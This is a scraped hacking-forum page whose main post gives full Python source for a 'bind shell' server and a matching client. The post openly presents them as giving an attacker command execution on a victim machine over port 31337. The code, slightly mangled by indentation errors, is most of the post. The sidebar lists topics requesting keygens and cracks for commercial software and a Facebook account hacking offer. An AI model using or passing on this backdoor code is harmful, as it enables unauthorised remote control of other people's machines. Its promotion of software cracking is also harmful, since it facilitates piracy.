Hell of Hackerz
Welcome to HELL OF HACKERZ

Login or Register for connect with us

Because many features only for registered users.

Now enjoy without verification....

Thanks

________________________________________
HELL OF HACKERZ
Administrator
Ady Blaze
www.twitter.com/adyblazecorp
www.adyblaze.com
Hell of Hackerz
Welcome to HELL OF HACKERZ

Login or Register for connect with us

Because many features only for registered users.

Now enjoy without verification....

Thanks

________________________________________
HELL OF HACKERZ
Administrator
Ady Blaze
www.twitter.com/adyblazecorp
www.adyblaze.com

Hell of Hackerz

Learn hacking & cracking
 
HomeHell Of HackerzSearchLatest imagesRegisterLog in
ChatBox
Welcome to Hell of Hackerz we are back in action. Get new updates on adyblaze.com too....
Latest topics
» Best video editing software for youtubers
Bind Shell and Client in Python I_icon_minitime19/08/21, 12:24 am by Hacker iam

» How to make bootable USB ?
Bind Shell and Client in Python I_icon_minitime12/08/21, 12:33 am by Hacker iam

» Meesho RTO Charges big problem for suppliers
Bind Shell and Client in Python I_icon_minitime12/08/21, 12:18 am by Hacker iam

» Get 200 Instagram followers daily free
Bind Shell and Client in Python I_icon_minitime28/07/21, 03:13 pm by Hacker iam

» onlineshopingshirt.com Fake Company
Bind Shell and Client in Python I_icon_minitime06/03/18, 02:09 pm by Hacker iam

» Keygen, crack, serial
Bind Shell and Client in Python I_icon_minitime29/05/15, 08:44 pm by Karl Marx

» Hello everyone
Bind Shell and Client in Python I_icon_minitime18/04/15, 11:05 pm by Hacker iam

» Keygen for Moneydance 2015
Bind Shell and Client in Python I_icon_minitime23/01/15, 08:32 pm by iota

» key gen request for Basic Inventory Control Desktop
Bind Shell and Client in Python I_icon_minitime19/01/15, 01:45 pm by dexterdidi

» Keygen request for paralog
Bind Shell and Client in Python I_icon_minitime30/11/14, 12:12 am by MarkV

» Microkinetics Turnmaster Pro 2014
Bind Shell and Client in Python I_icon_minitime07/10/14, 12:52 pm by Machine_Man

» Keygen for Forex Tester 2.9
Bind Shell and Client in Python I_icon_minitime02/10/14, 11:59 pm by ocean7

» Make your Internet Download Manager for lifetime
Bind Shell and Client in Python I_icon_minitime24/08/14, 02:22 pm by Hacker iam

» Make your Internet Download Manager for lifetime
Bind Shell and Client in Python I_icon_minitime24/08/14, 02:20 pm by Hacker iam

» HACK FACEBOOK ID OFFER BY IMRAN
Bind Shell and Client in Python I_icon_minitime10/08/14, 01:41 pm by Hacker iam

» Ethical Hacking classes and many more courses
Bind Shell and Client in Python I_icon_minitime08/08/14, 05:13 pm by Hacker iam

» Ethical Hacking classes Gonna Start
Bind Shell and Client in Python I_icon_minitime08/08/14, 04:58 pm by Hacker iam

» Banned From Group On Facebook
Bind Shell and Client in Python I_icon_minitime19/07/14, 06:52 pm by Hacker iam

» Winpass 12 keygen needed
Bind Shell and Client in Python I_icon_minitime18/07/14, 12:04 am by lvilleda

» Simfatic Forms 4.0
Bind Shell and Client in Python I_icon_minitime11/06/14, 11:45 am by kachi4gud

» SA Techietools
Bind Shell and Client in Python I_icon_minitime02/06/14, 09:04 pm by Hacker iam

» immo tool 3.2
Bind Shell and Client in Python I_icon_minitime16/05/14, 01:46 pm by adisby

» urgent help need. Pls create the keygen for DewanEja Pro 8
Bind Shell and Client in Python I_icon_minitime05/05/14, 02:04 am by hamizal

» Track my IMEI
Bind Shell and Client in Python I_icon_minitime27/04/14, 06:58 pm by rajesh

» Advanced WIFI hacker
Bind Shell and Client in Python I_icon_minitime20/03/14, 05:34 pm by wasam

» Can anyone provide keygen for below software ?
Bind Shell and Client in Python I_icon_minitime04/03/14, 10:34 am by akmakm2005

» Flaming Cliffs 3 - Keygen request please
Bind Shell and Client in Python I_icon_minitime17/02/14, 01:28 pm by moejo

» CalMAN 5 Keygen
Bind Shell and Client in Python I_icon_minitime14/02/14, 10:52 am by droid

» Clearscada license key request
Bind Shell and Client in Python I_icon_minitime10/02/14, 06:22 pm by mahpayma

» Huawei unlocker
Bind Shell and Client in Python I_icon_minitime04/01/14, 06:54 pm by dennis1990

Learn hacking & cracking


Share | 
 

 Bind Shell and Client in Python

View previous topic View next topic Go down 
AuthorMessage
KinGimran

KinGimran

Posts : 54
Points : 125
Reputation : 0
Join date : 2011-04-08

Bind Shell and Client in Python Empty
PostSubject: Bind Shell and Client in Python   Bind Shell and Client in Python I_icon_minitime18/09/11, 02:53 pm

“Bind Shell” is often used to describe a piece of program or Shell Code
which bind's to a specific port on the machine and provides access to
other machines (i.e attacker) to connect and execute shell commands on
the victim machine.

In this article we'll be looking at a basic implementation of Bind Shell and Client coded in python.

The Code



The Code structure is distributed to a set of files , server.py and client.py .

Server

The server.py program simply listens on the specified port (default :
31337) , and Provides “Shell” access to the connected machines.

Code:
 #!/usr/bin/env python 
 # Server 
 
 import sys 
 import socket 
 import os 

 host = ''; 
 SIZE = 512; 

 try : 
    port = sys.argv[1]; 

 except : 
    port = 31337; 
 
 try : 
    sockfd = socket.socket(socket.AF_INET , socket.SOCK_STREAM); 

 except socket.error , e : 

    print "Error in creating socket : ",e ; 
    sys.exit(1); 

 sockfd.setsockopt(socket.SOL_SOCKET , socket.SO_REUSEADDR , 1); 

 try : 
    sockfd.bind((host,port)); 

 except socket.error , e :       
    print "Error in Binding : ",e;
    sys.exit(1); 
 
 print("\n\n======================================================");
 print("-------- Server Listening on Port %d --------------" % port); 
 print("======================================================\n\n");
 
 try : 
    while 1 : # listen for connections 
        sockfd.listen(1); 
            clientsock , clientaddr = sockfd.accept(); 
        print("\n\nGot Connection from " + str(clientaddr)); 
        while 1 : 
            try : 
                cmd = clientsock.recv(SIZE); 
            except : 
                break; 
            pipe = os.popen(cmd); 
            rawOutput = pipe.readlines(); 
 
            print(cmd); 
         
            if cmd == 'g2g': # close the connection and move on for others 
                print("\n-----------Connection Closed----------------"); 
                clientsock.shutdown(); 
                break; 
                        try : 
                output = ""; 
                # Parse the output from list to string 
                for data in rawOutput : 
                      output = output+data; 
                 
                clientsock.send("Command Output :- \n"+output+"\r\n"); 
             
            except socket.error , e : 
                 
                print("\n-----------Connection Closed--------"); 
                clientsock.close(); 
                break; 
  except  KeyboardInterrupt : 
 

    print("\n\n>>>> Server Terminated <<<<<\n"); 
    print("===========================================================");
    print("\tThanks for using Simple-CMD"); 
    print("\tEmail : lionaneesh@gmail.com"); 
    print("============================================================");

Client

The client.py program connects to the server and sends the commands to be executed.


Code:
Code:

    #!/usr/bin/env python 
 # Simple network client 

 import socket; 
 import sys; 
 
 port = 31337;    # The port to listen on is hardcoded , if you bare changing this change the same of the server 
 SIZE = 1000; 
 
 try : 
    host = sys.argv[1]; 
 except :    # Add localhost as the server if no host provided 
    host = "127.0.0.1"; 
 
 try : 
    sockfd = socket.socket(socket.AF_INET , socket.SOCK_STREAM); 
 
 except socket.error , e : 
     
    print "Error while Creating socket : ",e ;     
    sys.exit(1); 
 
 try : 
    sockfd.connect((host,port)); 
 
 except socket.gaierror , e : 

    print "Error (Address-Related) while Connecting to server : ",e ; 
 
 except socket.error , e :     

    print "Error while Connecting to Server : ",e; 
    sys.exit(1); 
 
 # We are connected now , Start the real shit! 
 
 print("=============================================================");
 print("\tSimple-CMD\tC0d3d by : 1i0n4n33sh"); 
 print("=============================================================");
 print("\t\tEmail : lionaneesh@gmail.com"); 
 print("=============================================================");
 print("\tC0d3 f0r InDi4 , H4(k F0r 1nDi4 , Liv3 f0r 1nDi4"); 
 print("=============================================================");
 try : 
    while 1: 
        cmd = raw_input("\n\n(simple-cmd) $ "); 
        sockfd.send(cmd); 
        result = sockfd.recv(SIZE).strip(); 
        if not len(result) : 
            fd.close(); 
            sockfd.close(); 
            break; 
        print(result); 
 except KeyboardInterrupt : #clean up code 
    sockfd.shutdown(0); 
    print("\n\n-------- Client Terminated ----------\n"); 
    print("\n==================================================");
    print("\tThanks for using Simple-CMD"); 
    print("\tEmail : lionaneesh@gmail.com"); 
    print("====================================================\n\n");


That's it for this article stay tuned for more.
Back to top Go down
 

Bind Shell and Client in Python

View previous topic View next topic Back to top 

 Similar topics

-
» PHP SHELL CODING BY GOOGLE
Page 1 of 1

Permissions in this forum:You cannot reply to topics in this forum
Hell of Hackerz :: Tip and Tricks :: Web Server and Database Attacks-

Similar topics

+
ChatBox
Free forum | ©phpBB | Free forum support | Report an abuse | Forumotion.com